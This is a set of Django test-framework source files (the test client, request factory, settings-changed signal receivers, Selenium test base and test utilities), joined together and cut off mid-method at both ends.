    rf = RequestFactory()
    get_request = rf.get('/hello/')
    post_request = rf.post('/submit/', {'foo': 'bar'})

    Once you have a request object you can pass it to any view function,
    just as if that view had been hooked up using a URLconf.
    """
    def __init__(self, **defaults):
        self.defaults = defaults
        self.cookies = SimpleCookie()
        self.errors = BytesIO()

    def _base_environ(self, **request):
        """
        The base environment for a request.
        """
        # This is a minimal valid WSGI environ dictionary, plus:
        # - HTTP_COOKIE: for cookie support,
        # - REMOTE_ADDR: often useful, see #8551.
        # See http://www.python.org/dev/peps/pep-3333/#environ-variables
        environ = {
            'HTTP_COOKIE': self.cookies.output(header='', sep='; '),
            'PATH_INFO': str('/'),
            'REMOTE_ADDR': str('127.0.0.1'),
            'REQUEST_METHOD': str('GET'),
            'SCRIPT_NAME': str(''),
            'SERVER_NAME': str('testserver'),
            'SERVER_PORT': str('80'),
            'SERVER_PROTOCOL': str('HTTP/1.1'),
            'wsgi.version': (1, 0),
            'wsgi.url_scheme': str('http'),
            'wsgi.input': FakePayload(b''),
            'wsgi.errors': self.errors,
            'wsgi.multiprocess': True,
            'wsgi.multithread': False,
            'wsgi.run_once': False,
        }
        environ.update(self.defaults)
        environ.update(request)
        return environ

    def request(self, **request):
        "Construct a generic request object."
        return WSGIRequest(self._base_environ(**request))

    def _encode_data(self, data, content_type):
        if content_type is MULTIPART_CONTENT:
            return encode_multipart(BOUNDARY, data)
        else:
            # Encode the content so that the byte representation is correct.
            match = CONTENT_TYPE_RE.match(content_type)
            if match:
                charset = match.group(1)
            else:
                charset = settings.DEFAULT_CHARSET
            return force_bytes(data, encoding=charset)

    def _get_path(self, parsed):
        path = force_str(parsed[2])
        # If there are parameters, add them
        if parsed[3]:
            path += str(";") + force_str(parsed[3])
        path = uri_to_iri(path).encode(UTF_8)
        # Under Python 3, non-ASCII values in the WSGI environ are arbitrarily
        # decoded with ISO-8859-1. We replicate this behavior here.
        # Refs comment in `get_bytes_from_wsgi()`.
        return path.decode(ISO_8859_1) if six.PY3 else path

    def get(self, path, data=None, secure=False, **extra):
        "Construct a GET request."

        data = {} if data is None else data
        r = {
            'QUERY_STRING': urlencode(data, doseq=True),
        }
        r.update(extra)
        return self.generic('GET', path, secure=secure, **r)

    def post(self, path, data=None, content_type=MULTIPART_CONTENT,
             secure=False, **extra):
        "Construct a POST request."

        data = {} if data is None else data
        post_data = self._encode_data(data, content_type)

        return self.generic('POST', path, post_data, content_type,
                            secure=secure, **extra)

    def head(self, path, data=None, secure=False, **extra):
        "Construct a HEAD request."

        data = {} if data is None else data
        r = {
            'QUERY_STRING': urlencode(data, doseq=True),
        }
        r.update(extra)
        return self.generic('HEAD', path, secure=secure, **r)

    def trace(self, path, secure=False, **extra):
        "Construct a TRACE request."
        return self.generic('TRACE', path, secure=secure, **extra)

    def options(self, path, data='', content_type='application/octet-stream',
                secure=False, **extra):
        "Construct an OPTIONS request."
        return self.generic('OPTIONS', path, data, content_type,
                            secure=secure, **extra)

    def put(self, path, data='', content_type='application/octet-stream',
            secure=False, **extra):
        "Construct a PUT request."
        return self.generic('PUT', path, data, content_type,
                            secure=secure, **extra)

    def patch(self, path, data='', content_type='application/octet-stream',
              secure=False, **extra):
        "Construct a PATCH request."
        return self.generic('PATCH', path, data, content_type,
                            secure=secure, **extra)

    def delete(self, path, data='', content_type='application/octet-stream',
               secure=False, **extra):
        "Construct a DELETE request."
        return self.generic('DELETE', path, data, content_type,
                            secure=secure, **extra)

    def generic(self, method, path, data='',
                content_type='application/octet-stream', secure=False,
                **extra):
        """Constructs an arbitrary HTTP request."""
        parsed = urlparse(force_str(path))
        data = force_bytes(data, settings.DEFAULT_CHARSET)
        r = {
            'PATH_INFO': self._get_path(parsed),
            'REQUEST_METHOD': str(method),
            'SERVER_PORT': str('443') if secure else str('80'),
            'wsgi.url_scheme': str('https') if secure else str('http'),
        }
        if data:
            r.update({
                'CONTENT_LENGTH': len(data),
                'CONTENT_TYPE': str(content_type),
                'wsgi.input': FakePayload(data),
            })
        r.update(extra)
        # If QUERY_STRING is absent or empty, we want to extract it from the URL.
        if not r.get('QUERY_STRING'):
            query_string = force_bytes(parsed[4])
            # WSGI requires latin-1 encoded strings. See get_path_info().
            if six.PY3:
                query_string = query_string.decode('iso-8859-1')
            r['QUERY_STRING'] = query_string
        return self.request(**r)


class Client(RequestFactory):
    """
    A class that can act as a client for testing purposes.

    It allows the user to compose GET and POST requests, and
    obtain the response that the server gave to those requests.
    The server Response objects are annotated with the details
    of the contexts and templates that were rendered during the
    process of serving the request.

    Client objects are stateful - they will retain cookie (and
    thus session) details for the lifetime of the Client instance.

    This is not intended as a replacement for Twill/Selenium or
    the like - it is here to allow testing against the
    contexts and templates produced by a view, rather than the
    HTML rendered to the end-user.
    """
    def __init__(self, enforce_csrf_checks=False, **defaults):
        super(Client, self).__init__(**defaults)
        self.handler = ClientHandler(enforce_csrf_checks)
        self.exc_info = None

    def store_exc_info(self, **kwargs):
        """
        Stores exceptions when they are generated by a view.
        """
        self.exc_info = sys.exc_info()

    def _session(self):
        """
        Obtains the current session variables.
        """
        engine = import_module(settings.SESSION_ENGINE)
        cookie = self.cookies.get(settings.SESSION_COOKIE_NAME)
        if cookie:
            return engine.SessionStore(cookie.value)

        session = engine.SessionStore()
        session.save()
        self.cookies[settings.SESSION_COOKIE_NAME] = session.session_key
        return session
    session = property(_session)

    def request(self, **request):
        """
        The master request method. Composes the environment dictionary
        and passes to the handler, returning the result of the handler.
        Assumes defaults for the query environment, which can be overridden
        using the arguments to the request.
        """
        environ = self._base_environ(**request)

        # Curry a data dictionary into an instance of the template renderer
        # callback function.
        data = {}
        on_template_render = curry(store_rendered_templates, data)
        signal_uid = "template-render-%s" % id(request)
        signals.template_rendered.connect(on_template_render, dispatch_uid=signal_uid)
        # Capture exceptions created by the handler.
        exception_uid = "request-exception-%s" % id(request)
        got_request_exception.connect(self.store_exc_info, dispatch_uid=exception_uid)
        try:
            try:
                response = self.handler(environ)
            except TemplateDoesNotExist as e:
                # If the view raises an exception, Django will attempt to show
                # the 500.html template. If that template is not available,
                # we should ignore the error in favor of re-raising the
                # underlying exception that caused the 500 error. Any other
                # template found to be missing during view error handling
                # should be reported as-is.
                if e.args != ('500.html',):
                    raise

            # Look for a signalled exception, clear the current context
            # exception data, then re-raise the signalled exception.
            # Also make sure that the signalled exception is cleared from
            # the local cache!
            if self.exc_info:
                exc_info = self.exc_info
                self.exc_info = None
                six.reraise(*exc_info)

            # Save the client and request that stimulated the response.
            response.client = self
            response.request = request

            # Add any rendered template detail to the response.
            response.templates = data.get("templates", [])
            response.context = data.get("context")

            response.json = curry(self._parse_json, response)

            # Attach the ResolverMatch instance to the response
            response.resolver_match = SimpleLazyObject(lambda: resolve(request['PATH_INFO']))

            # Flatten a single context. Not really necessary anymore thanks to
            # the __getattr__ flattening in ContextList, but has some edge-case
            # backwards-compatibility implications.
            if response.context and len(response.context) == 1:
                response.context = response.context[0]

            # Update persistent cookie data.
            if response.cookies:
                self.cookies.update(response.cookies)

            return response
        finally:
            signals.template_rendered.disconnect(dispatch_uid=signal_uid)
            got_request_exception.disconnect(dispatch_uid=exception_uid)

    def get(self, path, data=None, follow=False, secure=False, **extra):
        """
        Requests a response from the server using GET.
        """
        response = super(Client, self).get(path, data=data, secure=secure,
                                           **extra)
        if follow:
            response = self._handle_redirects(response, **extra)
        return response

    def post(self, path, data=None, content_type=MULTIPART_CONTENT,
             follow=False, secure=False, **extra):
        """
        Requests a response from the server using POST.
        """
        response = super(Client, self).post(path, data=data,
                                            content_type=content_type,
                                            secure=secure, **extra)
        if follow:
            response = self._handle_redirects(response, **extra)
        return response

    def head(self, path, data=None, follow=False, secure=False, **extra):
        """
        Request a response from the server using HEAD.
        """
        response = super(Client, self).head(path, data=data, secure=secure,
                                            **extra)
        if follow:
            response = self._handle_redirects(response, **extra)
        return response

    def options(self, path, data='', content_type='application/octet-stream',
                follow=False, secure=False, **extra):
        """
        Request a response from the server using OPTIONS.
        """
        response = super(Client, self).options(path, data=data,
                                               content_type=content_type,
                                               secure=secure, **extra)
        if follow:
            response = self._handle_redirects(response, **extra)
        return response

    def put(self, path, data='', content_type='application/octet-stream',
            follow=False, secure=False, **extra):
        """
        Send a resource to the server using PUT.
        """
        response = super(Client, self).put(path, data=data,
                                           content_type=content_type,
                                           secure=secure, **extra)
        if follow:
            response = self._handle_redirects(response, **extra)
        return response

    def patch(self, path, data='', content_type='application/octet-stream',
              follow=False, secure=False, **extra):
        """
        Send a resource to the server using PATCH.
        """
        response = super(Client, self).patch(path, data=data,
                                             content_type=content_type,
                                             secure=secure, **extra)
        if follow:
            response = self._handle_redirects(response, **extra)
        return response

    def delete(self, path, data='', content_type='application/octet-stream',
               follow=False, secure=False, **extra):
        """
        Send a DELETE request to the server.
        """
        response = super(Client, self).delete(path, data=data,
                                              content_type=content_type,
                                              secure=secure, **extra)
        if follow:
            response = self._handle_redirects(response, **extra)
        return response

    def trace(self, path, data='', follow=False, secure=False, **extra):
        """
        Send a TRACE request to the server.
        """
        response = super(Client, self).trace(path, data=data, secure=secure, **extra)
        if follow:
            response = self._handle_redirects(response, **extra)
        return response

    def login(self, **credentials):
        """
        Sets the Factory to appear as if it has successfully logged into a site.

        Returns True if login is possible; False if the provided credentials
        are incorrect.
        """
        from django.contrib.auth import authenticate
        user = authenticate(**credentials)
        if user:
            self._login(user)
            return True
        else:
            return False

    def force_login(self, user, backend=None):
        if backend is None:
            backend = settings.AUTHENTICATION_BACKENDS[0]
        user.backend = backend
        self._login(user, backend)

    def _login(self, user, backend=None):
        from django.contrib.auth import login
        engine = import_module(settings.SESSION_ENGINE)

        # Create a fake request to store login details.
        request = HttpRequest()

        if self.session:
            request.session = self.session
        else:
            request.session = engine.SessionStore()
        login(request, user, backend)

        # Save the session values.
        request.session.save()

        # Set the cookie to represent the session.
        session_cookie = settings.SESSION_COOKIE_NAME
        self.cookies[session_cookie] = request.session.session_key
        cookie_data = {
            'max-age': None,
            'path': '/',
            'domain': settings.SESSION_COOKIE_DOMAIN,
            'secure': settings.SESSION_COOKIE_SECURE or None,
            'expires': None,
        }
        self.cookies[session_cookie].update(cookie_data)

    def logout(self):
        """
        Removes the authenticated user's cookies and session object.

        Causes the authenticated user to be logged out.
        """
        from django.contrib.auth import get_user, logout

        request = HttpRequest()
        engine = import_module(settings.SESSION_ENGINE)
        if self.session:
            request.session = self.session
            request.user = get_user(request)
        else:
            request.session = engine.SessionStore()
        logout(request)
        self.cookies = SimpleCookie()

    def _parse_json(self, response, **extra):
        if 'application/json' not in response.get('Content-Type'):
            raise ValueError(
                'Content-Type header is "{0}", not "application/json"'
                .format(response.get('Content-Type'))
            )
        return json.loads(response.content.decode(), **extra)

    def _handle_redirects(self, response, **extra):
        "Follows any redirects by requesting responses from the server using GET."

        response.redirect_chain = []
        while response.status_code in (301, 302, 303, 307):
            response_url = response.url
            redirect_chain = response.redirect_chain
            redirect_chain.append((response_url, response.status_code))

            url = urlsplit(response_url)
            if url.scheme:
                extra['wsgi.url_scheme'] = url.scheme
            if url.hostname:
                extra['SERVER_NAME'] = url.hostname
            if url.port:
                extra['SERVER_PORT'] = str(url.port)

            # Prepend the request path to handle relative path redirects
            path = url.path
            if not path.startswith('/'):
                path = urljoin(response.request['PATH_INFO'], path)

            response = self.get(path, QueryDict(url.query), follow=False, **extra)
            response.redirect_chain = redirect_chain

            if redirect_chain[-1] in redirect_chain[:-1]:
                # Check that we're not redirecting to somewhere we've already
                # been to, to prevent loops.
                raise RedirectCycleError("Redirect loop detected.", last_response=response)
            if len(redirect_chain) > 20:
                # Such a lengthy chain likely also means a loop, but one with
                # a growing path, changing view, or changing query argument;
                # 20 is the value of "network.http.redirection-limit" from Firefox.
                raise RedirectCycleError("Too many redirects.", last_response=response)

        return response






import os
import threading
import time
import warnings

from django.apps import apps
from django.core.signals import setting_changed
from django.db import connections, router
from django.db.utils import ConnectionRouter
from django.dispatch import Signal, receiver
from django.utils import timezone
from django.utils.functional import empty

template_rendered = Signal(providing_args=["template", "context"])

# Most setting_changed receivers are supposed to be added below,
# except for cases where the receiver is related to a contrib app.

# Settings that may not work well when using 'override_settings' (#19031)
COMPLEX_OVERRIDE_SETTINGS = {'DATABASES'}


@receiver(setting_changed)
def clear_cache_handlers(**kwargs):
    if kwargs['setting'] == 'CACHES':
        from django.core.cache import caches
        caches._caches = threading.local()


@receiver(setting_changed)
def update_installed_apps(**kwargs):
    if kwargs['setting'] == 'INSTALLED_APPS':
        # Rebuild any AppDirectoriesFinder instance.
        from django.contrib.staticfiles.finders import get_finder
        get_finder.cache_clear()
        # Rebuild management commands cache
        from django.core.management import get_commands
        get_commands.cache_clear()
        # Rebuild get_app_template_dirs cache.
        from django.template.utils import get_app_template_dirs
        get_app_template_dirs.cache_clear()
        # Rebuild translations cache.
        from django.utils.translation import trans_real
        trans_real._translations = {}


@receiver(setting_changed)
def update_connections_time_zone(**kwargs):
    if kwargs['setting'] == 'TIME_ZONE':
        # Reset process time zone
        if hasattr(time, 'tzset'):
            if kwargs['value']:
                os.environ['TZ'] = kwargs['value']
            else:
                os.environ.pop('TZ', None)
            time.tzset()

        # Reset local time zone cache
        timezone.get_default_timezone.cache_clear()

    # Reset the database connections' time zone
    if kwargs['setting'] in {'TIME_ZONE', 'USE_TZ'}:
        for conn in connections.all():
            try:
                del conn.timezone
            except AttributeError:
                pass
            try:
                del conn.timezone_name
            except AttributeError:
                pass
            conn.ensure_timezone()


@receiver(setting_changed)
def clear_routers_cache(**kwargs):
    if kwargs['setting'] == 'DATABASE_ROUTERS':
        router.routers = ConnectionRouter().routers


@receiver(setting_changed)
def reset_template_engines(**kwargs):
    if kwargs['setting'] in {
        'TEMPLATES',
        'DEBUG',
        'FILE_CHARSET',
        'INSTALLED_APPS',
    }:
        from django.template import engines
        try:
            del engines.templates
        except AttributeError:
            pass
        engines._templates = None
        engines._engines = {}
        from django.template.engine import Engine
        Engine.get_default.cache_clear()


@receiver(setting_changed)
def clear_serializers_cache(**kwargs):
    if kwargs['setting'] == 'SERIALIZATION_MODULES':
        from django.core import serializers
        serializers._serializers = {}


@receiver(setting_changed)
def language_changed(**kwargs):
    if kwargs['setting'] in {'LANGUAGES', 'LANGUAGE_CODE', 'LOCALE_PATHS'}:
        from django.utils.translation import trans_real
        trans_real._default = None
        trans_real._active = threading.local()
    if kwargs['setting'] in {'LANGUAGES', 'LOCALE_PATHS'}:
        from django.utils.translation import trans_real
        trans_real._translations = {}
        trans_real.check_for_language.cache_clear()


@receiver(setting_changed)
def file_storage_changed(**kwargs):
    if kwargs['setting'] == 'DEFAULT_FILE_STORAGE':
        from django.core.files.storage import default_storage
        default_storage._wrapped = empty


@receiver(setting_changed)
def complex_setting_changed(**kwargs):
    if kwargs['enter'] and kwargs['setting'] in COMPLEX_OVERRIDE_SETTINGS:
        # Considering the current implementation of the signals framework,
        # stacklevel=5 shows the line containing the override_settings call.
        warnings.warn("Overriding setting %s can lead to unexpected behavior."
                      % kwargs['setting'], stacklevel=5)


@receiver(setting_changed)
def root_urlconf_changed(**kwargs):
    if kwargs['setting'] == 'ROOT_URLCONF':
        from django.urls import clear_url_caches, set_urlconf
        clear_url_caches()
        set_urlconf(None)


@receiver(setting_changed)
def static_storage_changed(**kwargs):
    if kwargs['setting'] in {
        'STATICFILES_STORAGE',
        'STATIC_ROOT',
        'STATIC_URL',
    }:
        from django.contrib.staticfiles.storage import staticfiles_storage
        staticfiles_storage._wrapped = empty


@receiver(setting_changed)
def static_finders_changed(**kwargs):
    if kwargs['setting'] in {
        'STATICFILES_DIRS',
        'STATIC_ROOT',
    }:
        from django.contrib.staticfiles.finders import get_finder
        get_finder.cache_clear()


@receiver(setting_changed)
def auth_password_validators_changed(**kwargs):
    if kwargs['setting'] == 'AUTH_PASSWORD_VALIDATORS':
        from django.contrib.auth.password_validation import get_default_password_validators
        get_default_password_validators.cache_clear()


@receiver(setting_changed)
def user_model_swapped(**kwargs):
    if kwargs['setting'] == 'AUTH_USER_MODEL':
        apps.clear_cache()






from __future__ import unicode_literals

import sys
import unittest
from contextlib import contextmanager

from django.test import LiveServerTestCase, tag
from django.utils.module_loading import import_string
from django.utils.six import with_metaclass
from django.utils.text import capfirst


class SeleniumTestCaseBase(type(LiveServerTestCase)):
    # List of browsers to dynamically create test classes for.
    browsers = []
    # Sentinel value to differentiate browser-specific instances.
    browser = None

    def __new__(cls, name, bases, attrs):
        """
        Dynamically create new classes and add them to the test module when
        multiple browsers specs are provided (e.g. --selenium=firefox,chrome).
        """
        test_class = super(SeleniumTestCaseBase, cls).__new__(cls, name, bases, attrs)
        # If the test class is either browser-specific or a test base, return it.
        if test_class.browser or not any(name.startswith('test') and callable(value) for name, value in attrs.items()):
            return test_class
        elif test_class.browsers:
            # Reuse the created test class to make it browser-specific.
            # We can't rename it to include the browser name or create a
            # subclass like we do with the remaining browsers as it would
            # either duplicate tests or prevent pickling of its instances.
            first_browser = test_class.browsers[0]
            test_class.browser = first_browser
            # Create subclasses for each of the remaining browsers and expose
            # them through the test's module namespace.
            module = sys.modules[test_class.__module__]
            for browser in test_class.browsers[1:]:
                browser_test_class = cls.__new__(
                    cls,
                    str("%s%s" % (capfirst(browser), name)),
                    (test_class,),
                    {'browser': browser, '__module__': test_class.__module__}
                )
                setattr(module, browser_test_class.__name__, browser_test_class)
            return test_class
        # If no browsers were specified, skip this class (it'll still be discovered).
        return unittest.skip('No browsers specified.')(test_class)

    @classmethod
    def import_webdriver(cls, browser):
        return import_string("selenium.webdriver.%s.webdriver.WebDriver" % browser)

    def create_webdriver(self):
        return self.import_webdriver(self.browser)()


@tag('selenium')
class SeleniumTestCase(with_metaclass(SeleniumTestCaseBase, LiveServerTestCase)):
    implicit_wait = 10

    @classmethod
    def setUpClass(cls):
        cls.selenium = cls.create_webdriver()
        cls.selenium.implicitly_wait(cls.implicit_wait)
        super(SeleniumTestCase, cls).setUpClass()

    @classmethod
    def _tearDownClassInternal(cls):
        # quit() the WebDriver before attempting to terminate and join the
        # single-threaded LiveServerThread to avoid a dead lock if the browser
        # kept a connection alive.
        if hasattr(cls, 'selenium'):
            cls.selenium.quit()
        super(SeleniumTestCase, cls)._tearDownClassInternal()

    @contextmanager
    def disable_implicit_wait(self):
        """Context manager that disables the default implicit wait."""
        self.selenium.implicitly_wait(0)
        try:
            yield
        finally:
            self.selenium.implicitly_wait(self.implicit_wait)






"""
Django Unit Test and Doctest framework.
"""

from django.test.client import Client, RequestFactory
from django.test.testcases import (
    LiveServerTestCase, SimpleTestCase, TestCase, TransactionTestCase,
    skipIfDBFeature, skipUnlessAnyDBFeature, skipUnlessDBFeature,
)
from django.test.utils import (
    ignore_warnings, modify_settings, override_settings,
    override_system_checks, tag,
)

__all__ = [
    'Client', 'RequestFactory', 'TestCase', 'TransactionTestCase',
    'SimpleTestCase', 'LiveServerTestCase', 'skipIfDBFeature',
    'skipUnlessAnyDBFeature', 'skipUnlessDBFeature', 'ignore_warnings',
    'modify_settings', 'override_settings', 'override_system_checks', 'tag',
]

# To simplify Django's test suite; not meant as a public API
try:
    from unittest import mock  # NOQA
except ImportError:
    try:
        import mock  # NOQA
    except ImportError:
        pass






import collections
import logging
import re
import sys
import time
import warnings
from contextlib import contextmanager
from functools import wraps
from unittest import TestCase, skipIf, skipUnless
from xml.dom.minidom import Node, parseString

from django.apps import apps
from django.apps.registry import Apps
from django.conf import UserSettingsHolder, settings
from django.core import mail
from django.core.exceptions import ImproperlyConfigured
from django.core.signals import request_started
from django.db import DEFAULT_DB_ALIAS, connections, reset_queries
from django.db.models.options import Options
from django.template import Template
from django.test.signals import setting_changed, template_rendered
from django.urls import get_script_prefix, set_script_prefix
from django.utils import six
from django.utils.decorators import available_attrs
from django.utils.encoding import force_str
from django.utils.translation import deactivate

if six.PY3:
    from types import SimpleNamespace
else:
    class SimpleNamespace(object):
        pass

try:
    import jinja2
except ImportError:
    jinja2 = None


__all__ = (
    'Approximate', 'ContextList', 'isolate_lru_cache', 'get_runner',
    'modify_settings', 'override_settings',
    'requires_tz_support',
    'setup_test_environment', 'teardown_test_environment',
)

TZ_SUPPORT = hasattr(time, 'tzset')


class Approximate(object):
    def __init__(self, val, places=7):
        self.val = val
        self.places = places

    def __repr__(self):
        return repr(self.val)

    def __eq__(self, other):
        if self.val == other:
            return True
        return round(abs(self.val - other), self.places) == 0


class ContextList(list):
    """A wrapper that provides direct key access to context items contained
    in a list of context objects.
    """
    def __getitem__(self, key):
        if isinstance(key, six.string_types):
            for subcontext in self:
                if key in subcontext:
                    return subcontext[key]
            raise KeyError(key)
        else:
            return super(ContextList, self).__getitem__(key)

    def __contains__(self, key):
        try:
            self[key]
        except KeyError:
            return False
        return True

    def keys(self):
        """
        Flattened keys of subcontexts.
        """
        keys = set()
        for subcontext in self:
            for dict in subcontext:
                keys |= set(dict.keys())
        return keys


def instrumented_test_render(self, context):
    """
    An instrumented Template render method, providing a signal
    that can be intercepted by the test system Client
    """
    template_rendered.send(sender=self, template=self, context=context)
    return self.nodelist.render(context)


class _TestState(object):
    pass


def setup_test_environment(debug=None):
    """
    Perform global pre-test setup, such as installing the instrumented template
    renderer and setting the email backend to the locmem email backend.
    """
    if hasattr(_TestState, 'saved_data'):
        # Executing this function twice would overwrite the saved values.
        raise RuntimeError(
            "setup_test_environment() was already called and can't be called "
            "again without first calling teardown_test_environment()."
        )

    if debug is None:
        debug = settings.DEBUG

    saved_data = SimpleNamespace()
    _TestState.saved_data = saved_data

    saved_data.allowed_hosts = settings.ALLOWED_HOSTS
    # Add the default host of the test client.
    settings.ALLOWED_HOSTS = settings.ALLOWED_HOSTS + ['testserver']

    saved_data.debug = settings.DEBUG
    settings.DEBUG = debug

    saved_data.email_backend = settings.EMAIL_BACKEND
    settings.EMAIL_BACKEND = 'django.core.mail.backends.locmem.EmailBackend'

    saved_data.template_render = Template._render
    Template._render = instrumented_test_render

    mail.outbox = []

    deactivate()


def teardown_test_environment():
    """
    Perform any global post-test teardown, such as restoring the original
    template renderer and restoring the email sending functions.
    """
    saved_data = _TestState.saved_data

    settings.ALLOWED_HOSTS = saved_data.allowed_hosts
    settings.DEBUG = saved_data.debug
    settings.EMAIL_BACKEND = saved_data.email_backend
    Template._render = saved_data.template_render

    del _TestState.saved_data
    del mail.outbox


def setup_databases(verbosity, interactive, keepdb=False, debug_sql=False, parallel=0, **kwargs):
    """
    Create the test databases.
    """
    test_databases, mirrored_aliases = get_unique_databases_and_mirrors()

    old_names = []

    for signature, (db_name, aliases) in test_databases.items():
        first_alias = None
        for alias in aliases:
            connection = connections[alias]
            old_names.append((connection, db_name, first_alias is None))

            # Actually create the database for the first connection
            if first_alias is None:
                first_alias = alias
                connection.creation.create_test_db(
                    verbosity=verbosity,
                    autoclobber=not interactive,
                    keepdb=keepdb,
                    serialize=connection.settings_dict.get('TEST', {}).get('SERIALIZE', True),
                )
                if parallel > 1:
                    for index in range(parallel):
                        connection.creation.clone_test_db(
                            number=index + 1,
                            verbosity=verbosity,
                            keepdb=keepdb,
                        )
            # Configure all other connections as mirrors of the first one
            else:
                connections[alias].creation.set_as_test_mirror(connections[first_alias].settings_dict)

    # Configure the test mirrors.
    for alias, mirror_alias in mirrored_aliases.items():
        connections[alias].creation.set_as_test_mirror(
            connections[mirror_alias].settings_dict)

    if debug_sql:
        for alias in connections:
            connections[alias].force_debug_cursor = True

    return old_names


def dependency_ordered(test_databases, dependencies):
    """
    Reorder test_databases into an order that honors the dependencies
    described in TEST[DEPENDENCIES].
    """
    ordered_test_databases = []
    resolved_databases = set()

    # Maps db signature to dependencies of all its aliases
    dependencies_map = {}

    # Check that no database depends on its own alias
    for sig, (_, aliases) in test_databases:
        all_deps = set()
        for alias in aliases:
            all_deps.update(dependencies.get(alias, []))
        if not all_deps.isdisjoint(aliases):
            raise ImproperlyConfigured(
                "Circular dependency: databases %r depend on each other, "
                "but are aliases." % aliases
            )
        dependencies_map[sig] = all_deps

    while test_databases:
        changed = False
        deferred = []

        # Try to find a DB that has all its dependencies met
        for signature, (db_name, aliases) in test_databases:
            if dependencies_map[signature].issubset(resolved_databases):
                resolved_databases.update(aliases)
                ordered_test_databases.append((signature, (db_name, aliases)))
                changed = True
            else:
                deferred.append((signature, (db_name, aliases)))

        if not changed:
            raise ImproperlyConfigured("Circular dependency in TEST[DEPENDENCIES]")
        test_databases = deferred
    return ordered_test_databases


def get_unique_databases_and_mirrors():
    """
    Figure out which databases actually need to be created.

    Deduplicate entries in DATABASES that correspond the same database or are
    configured as test mirrors.

    Return two values:
    - test_databases: ordered mapping of signatures to (name, list of aliases)
                      where all aliases share the same underlying database.
    - mirrored_aliases: mapping of mirror aliases to original aliases.
    """
    mirrored_aliases = {}
    test_databases = {}
    dependencies = {}
    default_sig = connections[DEFAULT_DB_ALIAS].creation.test_db_signature()

    for alias in connections:
        connection = connections[alias]
        test_settings = connection.settings_dict['TEST']

        if test_settings['MIRROR']:
            # If the database is marked as a test mirror, save the alias.
            mirrored_aliases[alias] = test_settings['MIRROR']
        else:
            # Store a tuple with DB parameters that uniquely identify it.
            # If we have two aliases with the same values for that tuple,
            # we only need to create the test database once.
            item = test_databases.setdefault(
                connection.creation.test_db_signature(),
                (connection.settings_dict['NAME'], set())
            )
            item[1].add(alias)

            if 'DEPENDENCIES' in test_settings:
                dependencies[alias] = test_settings['DEPENDENCIES']
            else:
                if alias != DEFAULT_DB_ALIAS and connection.creation.test_db_signature() != default_sig:
                    dependencies[alias] = test_settings.get('DEPENDENCIES', [DEFAULT_DB_ALIAS])

    test_databases = dependency_ordered(test_databases.items(), dependencies)
    test_databases = collections.OrderedDict(test_databases)
    return test_databases, mirrored_aliases


def teardown_databases(old_config, verbosity, parallel=0, keepdb=False):
    """
    Destroy all the non-mirror databases.
    """
    for connection, old_name, destroy in old_config:
        if destroy:
            if parallel > 1:
                for index in range(parallel):
                    connection.creation.destroy_test_db(
                        number=index + 1,
                        verbosity=verbosity,
                        keepdb=keepdb,
                    )
            connection.creation.destroy_test_db(old_name, verbosity, keepdb)


def get_runner(settings, test_runner_class=None):
    if not test_runner_class:
        test_runner_class = settings.TEST_RUNNER

    test_path = test_runner_class.split('.')
    # Allow for Python 2.5 relative paths
    if len(test_path) > 1:
        test_module_name = '.'.join(test_path[:-1])
    else:
        test_module_name = '.'
    test_module = __import__(test_module_name, {}, {}, force_str(test_path[-1]))
    test_runner = getattr(test_module, test_path[-1])
    return test_runner


class TestContextDecorator(object):
    """
    A base class that can either be used as a context manager during tests
    or as a test function or unittest.TestCase subclass decorator to perform
    temporary alterations.

    `attr_name`: attribute assigned the return value of enable() if used as
                 a class decorator.

    `kwarg_name`: keyword argument passing the return value of enable() if
                  used as a function decorator.
    """
    def __init__(self, attr_name=None, kwarg_name=None):
        self.attr_name = attr_name
        self.kwarg_name = kwarg_name

    def enable(self):
        raise NotImplementedError

    def disable(self):
        raise NotImplementedError

    def __enter__(self):
        return self.enable()

    def __exit__(self, exc_type, exc_value, traceback):
        self.disable()

    def decorate_class(self, cls):
        if issubclass(cls, TestCase):
            decorated_setUp = cls.setUp
            decorated_tearDown = cls.tearDown

            def setUp(inner_self):
                context = self.enable()
                if self.attr_name:
                    setattr(inner_self, self.attr_name, context)
                decorated_setUp(inner_self)

            def tearDown(inner_self):
                decorated_tearDown(inner_self)
                self.disable()

            cls.setUp = setUp
            cls.tearDown = tearDown
            return cls
        raise TypeError('Can only decorate subclasses of unittest.TestCase')

    def decorate_callable(self, func):
        @wraps(func, assigned=available_attrs(func))
        def inner(*args, **kwargs):
            with self as context:
                if self.kwarg_name:
                    kwargs[self.kwarg_name] = context
                return func(*args, **kwargs)
        return inner

    def __call__(self, decorated):
        if isinstance(decorated, type):
            return self.decorate_class(decorated)
        elif callable(decorated):
            return self.decorate_callable(decorated)
        raise TypeError('Cannot decorate object of type %s' % type(decorated))


class override_settings(TestContextDecorator):
    """
    Acts as either a decorator or a context manager. If it's a decorator it
    takes a function and returns a wrapped function. If it's a contextmanager
    it's used with the ``with`` statement. In either event entering/exiting
    are called before and after, respectively, the function/block is executed.
    """
    def __init__(self, **kwargs):
        self.options = kwargs
        super(override_settings, self).__init__()

    def enable(self):
        # Keep this code at the beginning to leave the settings unchanged
        # in case it raises an exception because INSTALLED_APPS is invalid.
        if 'INSTALLED_APPS' in self.options:
            try:
                apps.set_installed_apps(self.options['INSTALLED_APPS'])
            except Exception:
                apps.unset_installed_apps()
                raise
        override = UserSettingsHolder(settings._wrapped)
        for key, new_value in self.options.items():
            setattr(override, key, new_value)
        self.wrapped = settings._wrapped
        settings._wrapped = override
        for key, new_value in self.options.items():
            setting_changed.send(sender=settings._wrapped.__class__,
                                 setting=key, value=new_value, enter=True)

    def disable(self):
        if 'INSTALLED_APPS' in self.options:
            apps.unset_installed_apps()
        settings._wrapped = self.wrapped
        del self.wrapped
        for key in self.options:
            new_value = getattr(settings, key, None)
            setting_changed.send(sender=settings._wrapped.__class__,
                                 setting=key, value=new_value, enter=False)

    def save_options(self, test_func):
        if test_func._overridden_settings is None:
            test_func._overridden_settings = self.options
        else:
            # Duplicate dict to prevent subclasses from altering their parent.
            test_func._overridden_settings = dict(
                test_func._overridden_settings, **self.options)

    def decorate_class(self, cls):
        from django.test import SimpleTestCase
        if not issubclass(cls, SimpleTestCase):
            raise ValueError(
                "Only subclasses of Django SimpleTestCase can be decorated "
                "with override_settings")
        self.save_options(cls)
        return cls


class modify_settings(override_settings):
    """
    Like override_settings, but makes it possible to append, prepend or remove
    items instead of redefining the entire list.
    """
    def __init__(self, *args, **kwargs):
        if args:
            # Hack used when instantiating from SimpleTestCase.setUpClass.
            assert not kwargs
            self.operations = args[0]
        else:
            assert not args
